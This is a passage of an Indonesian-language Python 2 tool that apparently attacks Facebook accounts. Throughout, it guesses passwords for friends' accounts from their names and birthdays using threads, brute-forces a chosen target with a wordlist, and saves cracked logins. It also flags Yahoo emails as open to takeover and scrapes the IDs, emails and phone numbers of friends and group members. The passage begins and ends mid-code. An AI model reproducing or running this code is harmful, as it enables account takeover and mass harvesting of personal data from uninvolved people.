'\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1 641 | else: 642 | if 'www.facebook.com' in q['error_msg']: 643 | print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1 644 | else: 645 | pass2 = b['first_name'] + '12345' 646 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 647 | q = json.load(data) 648 | if 'access_token' in q: 649 | print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2 650 | else: 651 | if 'www.facebook.com' in q['error_msg']: 652 | print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2 653 | else: 654 | pass3 = b['last_name'] + '123' 655 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 656 | q = json.load(data) 657 | if 'access_token' in q: 658 | print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3 659 | else: 660 | if 'www.facebook.com' in q['error_msg']: 661 | print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3 662 | else: 663 | lahir = b['birthday'] 664 | pass4 = lahir.replace('/', '') 665 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 666 | q = json.load(data) 667 | if 'access_token' in q: 668 | print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4 669 | else: 670 | if 'www.facebook.com' in q['error_msg']: 671 | print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4 672 | except: 673 | pass 674 | 675 | p = ThreadPool(30) 676 | p.map(main, id) 677 | print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' 678 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 679 | super() 680 | 681 | 682 | def brute(): 683 | os.system('reset') 684 | try: 685 | toket = open('login.txt', 'r').read() 686 | except IOError: 687 | print '\x1b[1;91m[!] Token tidak ditemukan' 688 | os.system('rm -rf login.txt') 689 | time.sleep(1) 690 | login() 691 | else: 692 | os.system('reset') 693 | print logo 694 | print 40 * '\x1b[1;97m\xe2\x95\x90' 695 | try: 696 | email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') 697 | passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') 698 | total = open(passw, 'r') 699 | total = total.readlines() 700 | print 40 * '\x1b[1;97m\xe2\x95\x90' 701 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email 702 | print '\x1b[1;91m[+] \x1b[1;92mJumlah\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' 703 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 704 | sandi = open(passw, 'r') 705 | for pw in sandi: 706 | try: 707 | pw = pw.replace('\n', '') 708 | sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mMencoba \x1b[1;97m' + pw) 709 | sys.stdout.flush() 710 | data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 711 | mpsh = json.loads(data.text) 712 | if 'access_token' in mpsh: 713 | dapat = open('Brute.txt', 'w') 714 | dapat.write(email + ' | ' + pw + '\n') 715 | dapat.close() 716 | print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' 717 | print 40 * '\x1b[1;97m\xe2\x95\x90' 718 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email 719 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw 720 | keluar() 721 | else: 722 | if 'www.facebook.com' in mpsh['error_msg']: 723 | ceks = open('Brutecekpoint.txt', 'w') 724 | ceks.write(email + ' | ' + pw + '\n') 725 | ceks.close() 726 | print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' 727 | print 40 * '\x1b[1;97m\xe2\x95\x90' 728 | print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' 729 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email 730 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw 731 | keluar() 732 | except requests.exceptions.ConnectionError: 733 | print '\x1b[1;91m[!] Koneksi Error' 734 | time.sleep(1) 735 | 736 | except IOError: 737 | print '\x1b[1;91m[!] File tidak ditemukan...' 738 | print '\n\x1b[1;91m[!] \x1b[1;92mSepertinya kamu tidak memiliki wordlist' 739 | tanyaw() 740 | 741 | 742 | def tanyaw(): 743 | why = raw_input('\x1b[1;91m[?] \x1b[1;92mIngin membuat wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ') 744 | if why == '': 745 | print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' 746 | tanyaw() 747 | else: 748 | if why == 'y': 749 | wordlist() 750 | else: 751 | if why == 'Y': 752 | wordlist() 753 | else: 754 | if why == 't': 755 | menu_hack() 756 | else: 757 | if why == 'T': 758 | menu_hack() 759 | else: 760 | print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' 761 | tanyaw() 762 | 763 | 764 | def menu_yahoo(): 765 | os.system('reset') 766 | try: 767 | toket = open('login.txt', 'r').read() 768 | except IOError: 769 | print '\x1b[1;91m[!] Token tidak ditemukan' 770 | os.system('rm -rf login.txt') 771 | time.sleep(1) 772 | login() 773 | 774 | os.system('reset') 775 | print logo 776 | print 40 * '\x1b[1;97m\xe2\x95\x90' 777 | print '\x1b[1;37;40m1. Dari teman facebook' 778 | print '\x1b[1;37;40m2. Gunakan File' 779 | print '\x1b[1;31;40m0. Kembali' 780 | print 781 | yahoo_pilih() 782 | 783 | 784 | def yahoo_pilih(): 785 | go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 786 | if go == '': 787 | print '\x1b[1;91m[!] Jangan kosong' 788 | yahoo_pilih() 789 | else: 790 | if go == '1': 791 | yahoofriends() 792 | else: 793 | if go == '2': 794 | yahoolist() 795 | else: 796 | if go == '0': 797 | menu_hack() 798 | else: 799 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada' 800 | yahoo_pilih() 801 | 802 | 803 | def yahoofriends(): 804 | os.system('reset') 805 | try: 806 | toket = open('login.txt', 'r').read() 807 | except IOError: 808 | print '\x1b[1;91m[!] Token tidak ditemukan' 809 | os.system('rm -rf login.txt') 810 | time.sleep(1) 811 | login() 812 | 813 | os.system('reset') 814 | print logo 815 | print 40 * '\x1b[1;97m\xe2\x95\x90' 816 | mpsh = [] 817 | jml = 0 818 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 819 | teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 820 | kimak = json.loads(teman.text) 821 | save = open('MailVuln.txt', 'w') 822 | print 40 * '\x1b[1;97m\xe2\x95\x90' 823 | for w in kimak['data']: 824 | jml += 1 825 | mpsh.append(jml) 826 | id = w['id'] 827 | nama = w['name'] 828 | links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) 829 | z = json.loads(links.text) 830 | try: 831 | mail = z['email'] 832 | yahoo = re.compile('@.*') 833 | otw = yahoo.search(mail).group() 834 | if 'yahoo.com' in otw: 835 | br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') 836 | br._factory.is_html = True 837 | br.select_form(nr=0) 838 | br['username'] = mail 839 | klik = br.submit().read() 840 | jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') 841 | try: 842 | pek = jok.search(klik).group() 843 | except: 844 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' 845 | continue 846 | 847 | if '"messages.ERROR_INVALID_USERNAME">' in pek: 848 | save.write(mail + '\n') 849 | print 40 * '\x1b[1;97m\xe2\x95\x90' 850 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + nama 851 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id 852 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]' 853 | print 40 * '\x1b[1;97m\xe2\x95\x90' 854 | else: 855 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' 856 | except KeyError: 857 | pass 858 | 859 | print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' 860 | print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' 861 | save.close() 862 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 863 | menu_yahoo() 864 | 865 | 866 | def yahoolist(): 867 | os.system('reset') 868 | try: 869 | toket = open('login.txt', 'r').read() 870 | except IOError: 871 | print '\x1b[1;91m[!] Token tidak ditemukan' 872 | os.system('rm -rf login.txt') 873 | time.sleep(1) 874 | login() 875 | else: 876 | os.system('reset') 877 | print logo 878 | print 40 * '\x1b[1;97m\xe2\x95\x90' 879 | files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m') 880 | try: 881 | total = open(files, 'r') 882 | mail = total.readlines() 883 | except IOError: 884 | print '\x1b[1;91m[!] File tidak ada' 885 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 886 | menu_yahoo() 887 | 888 | mpsh = [] 889 | jml = 0 890 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 891 | save = open('MailVuln.txt', 'w') 892 | print 40 * '\x1b[1;97m\xe2\x95\x90' 893 | print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m] Green[\x1b[1;92m' + vuln + '\x1b[1;97m]' 894 | print 895 | mail = open(files, 'r').readlines() 896 | for pw in mail: 897 | mail = pw.replace('\n', '') 898 | jml += 1 899 | mpsh.append(jml) 900 | yahoo = re.compile('@.*') 901 | otw = yahoo.search(mail).group() 902 | if 'yahoo.com' in otw: 903 | br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') 904 | br._factory.is_html = True 905 | br.select_form(nr=0) 906 | br['username'] = mail 907 | klik = br.submit().read() 908 | jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') 909 | try: 910 | pek = jok.search(klik).group() 911 | except: 912 | print '\x1b[1;91m ' + mail 913 | continue 914 | 915 | if '"messages.ERROR_INVALID_USERNAME">' in pek: 916 | save.write(mail + '\n') 917 | print '\x1b[1;92m ' + mail 918 | else: 919 | print '\x1b[1;91m ' + mail 920 | 921 | print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' 922 | print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' 923 | save.close() 924 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 925 | menu_yahoo() 926 | 927 | 928 | def grab(): 929 | os.system('reset') 930 | try: 931 | toket = open('login.txt', 'r').read() 932 | except IOError: 933 | print '\x1b[1;91m[!] Token tidak ditemukan' 934 | os.system('rm -rf login.txt') 935 | time.sleep(1) 936 | login() 937 | 938 | os.system('reset') 939 | print logo 940 | print 40 * '\x1b[1;97m\xe2\x95\x90' 941 | print '\x1b[1;37;40m1. Ambil ID teman' 942 | print '\x1b[1;37;40m2. Ambil ID teman dari teman' 943 | print '\x1b[1;37;40m3. Ambil ID member GRUP' 944 | print '\x1b[1;37;40m4. Ambil Email teman' 945 | print '\x1b[1;37;40m5. Ambil Email teman dari teman' 946 | print '\x1b[1;37;40m6. Ambil No HP teman' 947 | print '\x1b[1;37;40m7. Ambil No HP teman dari teman' 948 | print '\x1b[1;31;40m0. Kembali' 949 | print 950 | grab_pilih() 951 | 952 | 953 | def grab_pilih(): 954 | cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 955 | if cuih == '': 956 | print '\x1b[1;91m[!] Jangan kosong' 957 | grab_pilih() 958 | else: 959 | if cuih == '1': 960 | id_teman() 961 | else: 962 | if cuih == '2': 963 | idfrom_teman() 964 | else: 965 | if cuih == '3': 966 | id_member_grup() 967 | else: 968 | if cuih == '4': 969 | email() 970 | else: 971 | if cuih == '5': 972 | emailfrom_teman() 973 | else: 974 | if cuih == '6': 975 | nomor_hp() 976 | else: 977 | if cuih == '7': 978 | hpfrom_teman() 979 | else: 980 | if cuih == '0': 981 | menu_hack() 982 | else: 983 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mTidak ada' 984 | grab_pilih() 985 | 986 | 987 | def id_teman(): 988 | os.system('reset') 989 | try: 990 | toket = open('login.txt', 'r').read() 991 | except IOError: 992 | print '\x1b[1;91m[!] Token tidak ditemukan' 993 | os.system('rm -rf login.txt') 994 | time.sleep(1) 995 | login() 996 | else: 997 | try: 998 | os.system('reset') 999 | print logo 1000 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1001 | r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 1002 | z = json.loads(r.text) 1003 | save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 1004 | bz = open(save_id, 'w') 1005 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1006 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1007 | for ah in z['data']: 1008 | idteman.append(ah['id']) 1009 | bz.write(ah['id'] + '\n') 1010 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] 1011 | print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] 1012 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1013 | 1014 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idteman) 1015 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_id 1016 | bz.close() 1017 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1018 | grab() 1019 | except IOError: 1020 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 1021 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1022 | grab() 1023 | except (KeyboardInterrupt, EOFError): 1024 | print '\x1b[1;91m[!] Terhenti' 1025 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1026 | grab() 1027 | except KeyError: 1028 | os.remove(save_id) 1029 | print '\x1b[1;91m[!] Kesalahan terjadi' 1030 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1031 | grab() 1032 | except requests.exceptions.ConnectionError: 1033 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1034 | keluar() 1035 | 1036 | 1037 | def idfrom_teman(): 1038 | os.system('reset') 1039 | try: 1040 | toket = open('login.txt', 'r').read() 1041 | except IOError: 1042 | print '\x1b[1;91m[!] Token tidak ditemukan' 1043 | os.system('rm -rf login.txt') 1044 | time.sleep(1) 1045 | login() 1046 | else: 1047 | try: 1048 | os.system('reset') 1049 | print logo 1050 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1051 | idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') 1052 | try: 1053 | jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) 1054 | op = json.loads(jok.text) 1055 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] 1056 | except KeyError: 1057 | print '\x1b[1;91m[!] Belum berteman' 1058 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1059 | grab() 1060 | 1061 | r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket) 1062 | z = json.loads(r.text) 1063 | save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 1064 | bz = open(save_idt, 'w') 1065 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1066 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1067 | for ah in z['friends']['data']: 1068 | idfromteman.append(ah['id']) 1069 | bz.write(ah['id'] + '\n') 1070 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] 1071 | print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] 1072 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1073 | 1074 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idfromteman) 1075 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_idt 1076 | bz.close() 1077 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1078 | grab() 1079 | except IOError: 1080 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 1081 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1082 | grab() 1083 | except (KeyboardInterrupt, EOFError): 1084 | print '\x1b[1;91m[!] Terhenti' 1085 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1086 | grab() 1087 | except requests.exceptions.ConnectionError: 1088 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1089 | keluar() 1090 | 1091 | 1092 | def id_member_grup(): 1093 | os.system('reset') 1094 | try: 1095 | toket = open('login.txt', 'r').read() 1096 | except IOError: 1097 | print '\x1b[1;91m[!] Token tidak ditemukan' 1098 | os.system('rm -rf login.txt') 1099 | time.sleep(1) 1100 | login() 1101 | else: 1102 | try: 1103 | os.system('reset') 1104 | print logo 1105 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1106 | id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ') 1107 | try: 1108 | r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket) 1109 | asw = json.loads(r.text) 1110 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] 1111 | except KeyError: 1112 | print '\x1b[1;91m[!] Grup tidak ditemukan' 1113 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1114 | grab() 1115 | 1116 | simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 1117 | b = open(simg, 'w') 1118 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1119 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1120 | re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket) 1121 | s = json.loads(re.text) 1122 | for i in s['data']: 1123 | idmem.append(i['id']) 1124 | b.write(i['id'] + '\n') 1125 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + i['name'] 1126 | print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id'] 1127 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1128 | 1129 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idmem) 1130 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + simg 1131 | b.close() 1132 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1133 | grab() 1134 | except IOError: 1135 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 1136 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1137 | grab() 1138 | except (KeyboardInterrupt, EOFError): 1139 | print '\x1b[1;91m[!] Terhenti' 1140 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1141 | grab() 1142 | except KeyError: 1143 | os.remove(simg) 1144 | print '\x1b[1;91m[!] Grup tidak ditemukan' 1145 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1146 | grab() 1147 | except requests.exceptions.ConnectionError: 1148 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1149 | keluar() 1150 | 1151 | 1152 | def email(): 1153 | os.system('reset') 1154 | try: 1155 | toket = open('login.txt', 'r').read() 1156 | except IOError: 1157 | print '\x1b[1;91m[!] Token tidak ditemukan' 1158 | os.system('rm -rf login.txt') 1159 | time.sleep(1) 1160 | login() 1161 | else: 1162 | try: 1163 | os.system('reset') 1164 | print logo 1165 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1166 | mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 1167 | r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 1168 | a = json.loads(r.text) 1169 | mpsh = open(mails, 'w') 1170 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1171 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1172 | for i in a['data']: 1173 | x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) 1174 | z = json.loads(x.text) 1175 | try: 1176 | em.append(z['email']) 1177 | mpsh.write(z['email'] + '\n') 1178 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] 1179 | print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] 1180 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1181 | except KeyError: 1182 | pass 1183 | 1184 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(em) 1185 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails 1186 | mpsh.close() 1187 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1188 | grab() 1189 | except IOError: 1190 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 1191 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1192 | grab() 1193 | except (KeyboardInterrupt, EOFError): 1194 | print '\x1b[1;91m[!] Terhenti' 1195 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1196 | grab() 1197 | except KeyError: 1198 | os.remove(mails) 1199 | print '\x1b[1;91m[!] Kesalahan terjadi' 1200 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1201 | grab() 1202 | except requests.exceptions.ConnectionError: 1203 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1204 | keluar() 1205 | 1206 | 1207 | def emailfrom_teman(): 1208 | os.system('reset') 1209 | try: 1210 | toket = open('login.txt', 'r').read() 1211 | except IOError: 1212 | print '\x1b[1;91m[!] Token tidak ditemukan' 1213 | os.system('rm -rf login.txt') 1214 | time.sleep(1) 1215 | login() 1216 | else: 1217 | try: 1218 | os.system('reset') 1219 | print logo 1220 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1221 | idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') 1222 | try: 1223 | jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) 1224 | op = json.loads(jok.text) 1225 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] 1226 | except KeyError: 1227 | print '\x1b[1;91m[!] Belum berteman' 1228 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1229 | grab() 1230 | 1231 | mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 1232 | r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) 1233 | a = json.loads(r.text) 1234 | mpsh = open(mails, 'w') 1235 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1236 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1237 | for i in a['data']: 1238 | x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) 1239 | z = json.loads(x.text) 1240 | try: 1241 | emfromteman.append(z['email']) 1242 | mpsh.write(z['email'] + '\n') 1243 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] 1244 | print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] 1245 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1246 | except KeyError: 1247 | pass 1248 | 1249 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(emfromteman) 1250 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails 1251 | mpsh.close() 1252 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1253 | grab() 1254 | except IOError: 1255 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 1256 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1257 | grab() 1258 | except (KeyboardInterrupt, EOFError): 1259 | print '\x1b[1;91m[!] Terhenti' 1260 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1261 | grab() 1262 | except requests.exceptions.ConnectionError: 1263 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1264 | keluar() 1265 | 1266 | 1267 | def nomor_hp(): 1268 | os.system('reset') 1269 | try: 1270 | toket = open('login.txt', 'r').read() 1271 | except IOError: 1272 | print '\x1b[1;91m[!] Token tidak ditemukan' 1273 | os.system('rm -rf login.txt') 1274 | time.sleep(1) 1275 | login() 1276 | else: 1277 | try: 1278 | os.system('reset') 1279 | print logo 1280 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1281 | noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 1282 | url = 'https://graph.facebook.com/me/friends?access_token=' + toket 1283 | r = requests.get(url) 1284 | z = json.loads(r.text) 1285 | no = open(noms, 'w') 1286 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1287 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1288 | for n in z['data']: 1289 | x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket) 1290 | z = json.loads(x.text) 1291 | try: 1292 | hp.append(z['mobile_phone']) 1293 | no.write(z['mobile_phone'] + '\n') 1294 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] 1295 | print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] 1296 | print 40 * 